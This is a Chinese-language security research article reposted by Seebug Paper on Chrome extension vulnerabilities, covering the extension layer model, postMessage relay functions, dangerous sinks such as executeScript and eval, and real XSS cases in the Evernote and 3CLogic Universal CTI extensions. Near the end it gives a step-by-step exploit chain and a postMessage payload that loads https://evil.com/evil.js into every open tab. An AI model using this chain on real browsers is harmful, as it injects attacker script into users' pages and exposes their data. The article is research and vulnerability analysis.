作者:LoRexxar'
原文鏈接:https://lorexxar.cn/2021/08/17/chrome-ext-4/
在2019年初,微軟正式選擇了Chromium作為默認瀏覽器,并放棄edge的發展。并在19年4月8日,Edge正式放出了基于Chromium開發的Edge Dev瀏覽器,并提供了兼容Chrome Ext的配套插件管理。再加上國內的大小國產瀏覽器大多都是基于Chromium開發的,Chrome的插件體系越來越影響著廣大的人群。
在這種背景下,Chrome Ext的安全問題也應該受到應有的關注,《從0開始入門Chrome Ext安全》就會從最基礎的插件開發開始,逐步研究插件本身的惡意安全問題,惡意網頁如何利用插件漏洞攻擊瀏覽器等各種視角下的安全問題。
在經歷了前兩篇之后,我們把視角重新轉換,把受害者的目標從使用插件者換到插件本身。對于Chrome ext本身來說,他會有什么樣的問題呢?
PS: 當時這份研究是在2020年初做的,當時還在知道創宇的404實驗室,感覺內容很有趣所以準備拿去當議題。2020年我想大家都懂的,很多會議都取消了,一拖就拖到2021年,本來打算拿去投KCON,但是沒有通過。所以今天就整理整理發出來了~
從一個真實事件開始
在evernote擴展中曾爆出過一個xss漏洞
首先我們從manifest開始,存在問題的js是content js.

BrowserFrameLoader.js會被直接插入到http、https、ftp三個域內,由于all_frames,還會被直接插入到頁面內的每一個iframe子框架下。
其中有這么一段代碼比較關鍵

這段代碼主要通過函數_getBundleUrl來生成要安裝的js地址,而其中的e來自于resourcePath參數,這里本身應該通過傳入形如chrome-extension://...這樣的路徑,以生成所需要的js路徑。

可以看到_getBundleUrl中本身也沒有驗證,所以只要我們傳入resourcePath為惡意地址,我們就可以通過這個功能把原本的js替換到,改為我們想要注冊的js。

我們可以直接通過window.postMessage與后端溝通,傳遞消息。
再配合manifest中的all_frames,我們可以通過在某個頁面中構造一個隱藏的iframe標簽,其中使用window.postMessage傳遞惡意地址,導致其他頁面引入惡意的js。

這樣一來,如果帶有這個插件的瀏覽者訪問某個頁面時,就會直接被大范圍的攻擊,那么這個漏洞的具體原理是什么樣的呢?
瀏覽器插件安全邏輯
在研究插件的漏洞之前,首先我們需要從插件的結構和可以攻擊的方式來思考。
從0開始入門Chrome Ext安全(一) -- 了解一個Chrome Ext
在第一篇文章中,我們曾詳細的描述過和chrome有關的諸多信息,其中有很重要的一部分是插件不同層級之間的通信方式,我們把這個結構畫出來大概是這樣的:

首先我們把插件的結構體系分為三級,分別是Web層、content層、bg層。
其中插件的web層主要是injected script,在這部分中,主要漏洞就圍繞js本身,原理上和普通的js漏洞沒什么區別,這里就不深入討論。
而content層中,這部分和Web層主要的區別是它可以訪問很小一部分chrome api,其中最重要的是,它可以和bg層進行溝通。拋開本身js漏洞不談,content層最大的特殊就在于它是一個中轉層,只有content構造的chrome.runtime.sendMessage可以向后端傳遞數據。
在bg層中,就涉及到了許多的敏感操作了,一旦可以控制bg層中的代碼執行,我們幾乎相當于控制了整個瀏覽器,但其中最大的限制仍然是,我們沒辦法直接操作bg層,瀏覽器想要操作bg層,就必須通過content層來中轉。
| - | js執行 | 可控點 |
|---|---|---|
| web層 | 和普通js沒有區別 | |
| content層 | 除了普通js以外只能訪問runtime等少部分api | 只能通過addEventListener或獲取dom輸入 |
| bg層 | 可以訪問大部分api,但不能訪問頁面dom | 只能通過runtime.onmessage.addListener獲取輸入 |
當我們在了解了chrome插件結構之后,不難發現,當我們想要利用一個插件漏洞時,首先我們必須從可控出發.
當我們可以控制某個敏感操作的一部分時,我們就有可能構造一次利用,一次完整的利用鏈就構造成功了。
而對于瀏覽器來說,符合正常人的邏輯的交互邏輯即為訪問某個鏈接,或者訪問某個頁面。
建立在這個基礎上,通過構造惡意網頁、鏈接,誘導受害人點擊,從而開始進行一系列攻擊行為則是對于插件安全漏洞的正確利用方向。
而通過訪問某個惡意頁面配合插件的某個漏洞攻擊,只有兩個維度可以供我們攻擊,在這里我們把這兩種攻擊方式分為兩個維度,基于Content層的安全問題和基于bg層的安全問題。
在下面我們就將圍繞這兩個維度來講述。
基于content script的安全問題
在前面的篇幅中我曾詳述過content script的相關信息,content script會把相應的js插入到符合條件的所有頁面中,而這個條件會在manifest中被定義。
{
"name": "My extension",
...
"content_scripts": [
{
"matches": ["http://*.nytimes.com/*"],
"exclude_matches": ["*://*/*business*"],
"include_globs": ["*nytimes.com/???s/*"],
"exclude_globs": ["*science*"],
"all_frames": true,
"js": ["contentScript.js"],
"run_at": "document_idle"
}
],
...
}
其中幾個參順相對應的配置為:
- matches: 匹配生效的域
- exclued_matches: 不匹配生效的域
- include_globs: 在前兩項匹配之后生效的匹配關鍵字
- exclude_globs: 在前兩項匹配之后生效的排除關鍵字
- all_frames: content script是否會插入到頁面的iframe標簽中
- run_at: 指content script插入的時機
Content層和Web層是通過事件監聽的方式溝通的:

這樣一來,Content層的安全問題就有了幾個繞不開的特點:
- 攻擊者只能通過window.postMessage與后端溝通,傳遞消息。
- 如果只能觸發Content Script的漏洞,那么只影響當前Web Page,與XSS漏洞無異。
- 如果開啟了all_frame,配合特殊場景可以影響所有的子frame,就可以定向攻擊任何域。
Content層面的的問題因為逃不開諸多的限制,所以危害比較有限,前面的evernote的漏洞已經是非常厲害的一個漏洞了。
基于bg層的安全問題

與content層漏洞最大的區別就是,我們沒辦法直接和bg/popup層交互,除非本身的邏輯有安全問題。但如果能造成任意代碼執行,可能可以通過chrome API威脅整個瀏覽器的各個方面。
那么這類漏洞的關鍵點就在于,不管后端存不存在有問題的API,在content script層有可控的chrome.tabs.sendMessage信息向pop/popup script傳輸是這類漏洞首先必備的基礎條件。
中轉函數
而在部分插件代碼中,content script設置中轉代碼也并不罕見。正所謂,上有對策,下有政策。為安全性考量的而設置的限制,也實實在在的影響到了原本的插件開發者。所以開發插件的開發者也通過自己的方式來構造直接傳輸的通道。
在3CLogic Universal CTI插件中就有這樣的一段代碼
window.addEventListener("message", function (event) {
try {
// Accept messages from this window only
if (typeof (event.data) !== "string") return;
// Send convert string back to object for passing it to the extension
const data = JSON.parse(event.data);
// adding cccce so that this message doesn't mix with messages from other windows
if (data.method && data.method !== "onCTIAdapterMessage") {
data.method = `ccce${data.method}`;
} else {
ccclogger.log(`Got Adaptor Message`);
}
window.chrome.extension.sendMessage(data,
function (response) {
ccclogger.log(response);
});
} catch (e) {
ccclogger.warn(e, e.stack);
}
});
這段代碼會把接收到的消息通過window.chrome.extension.sendMessage轉發出去。
通過這樣的代碼我們就可以直接和popup/bg 層溝通,也代表我們有一定的可能構造一個利用。
惡意函數
反之,我們也可以從利用的角度思考,popup/bg script沒辦法直接和頁面溝通,換言之,也就是說如果在popup/bg script中存在可以被利用的點,一定是來源于相應的惡意函數。
而其中相應的惡意函數只有幾個,分別是:
chrome.tabs.executeScript
chrome.tabs.update
eval
setTimeout
executeScript可以在任意頁面執行代碼,而update函數可以更新頁面中的信息,包括url等,eval和setTimeout可以執行插件代碼,但也同樣會被可能會受到CSP的限制。
從利用的角度來講,只有popup/bg script存在這樣的函數,并且參數可控,那么才有可能誕生一個漏洞。
舉個栗子 - 3CLogic Universal CTI XSS
首先根據manifest的內容可以知道,這個插件可以通過構造的方式生效在任意域下。
Content層也存在可控的中轉函數
Bg層接收到消息之后,觸發processMessage函數

processMessage函數根據傳入的操作類型轉到相應的接口。其中就包含可以給任意tag插入js的sendInjectEvent函數

sendInjectEvent會將傳入的參數拼接到函數內,并通過創建標簽的方式為指定的tag新建標簽。

整個利用鏈被鏈接起來,簡化為:
1、構造惡意頁面在“*://*/*3cphone.html*”,受害者訪問該頁面/將鏈接植入到某個點擊劫持/URL跳轉/。
2、打開其他目標頁面如微博、twitter等。
3、惡意頁面發送。
window.postMessage(JSON.stringify({
“method”: “OnInjectScript”,
“forSite”: “.”,
“selectedLibs": [
https://evil.com/evil.js
]}), "*")
4、惡意JS被插入到所有的tag中,我們就可以在任意目標域執行JS,如獲取微博消息等。
寫在最后
其實可以把整個漏洞分成兩部分,尋找中轉函數和尋找惡意函數,如果找到滿足兩個同時條件的情況,再輔以一些人工基本上就能找到一個漏洞。當時也是把這個思路貫徹到KunLun-M上,我會利用工具尋找兩個條件的代碼,然后做人工審計,當時還是發現了一些漏洞的,后來覺得挖掘需要一定的成本,而且我也沒打算拿來作惡,所以這些漏洞也就用不太上,于是后來打算拿出來當議題。(3CL這個漏洞是我挖掘的通用性最高的,同時危害也不算太大)
當時這份研究是在2020年初做的,當時還在知道創宇的404實驗室,感覺內容很有趣所以準備拿去當議題。2020年我想大家都懂的,很多會議都取消了,一拖就拖到2021年,本來打算拿去投KCON,但是沒有通過。有趣的是在DEFCON2021的一個議題中,提到了差不多的內容。
Barak Sternberg - Extension-Land - exploits and rootkits in your browser extensions
除了我的部分內容以外呢,他還提了幾個不算太常見的攻擊場景,感興趣可以去看看(但我感覺他把一個簡單的東西講復雜了,這違背了的行文意愿)。因為這個我也沒興趣繼續保留這份成果了,今天也公開出來,其中可能有很多老的東西。但是其實也很少有系統的分享插件安全思路的文章,希望這篇文章可以給你帶來收獲。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1676/
暫無評論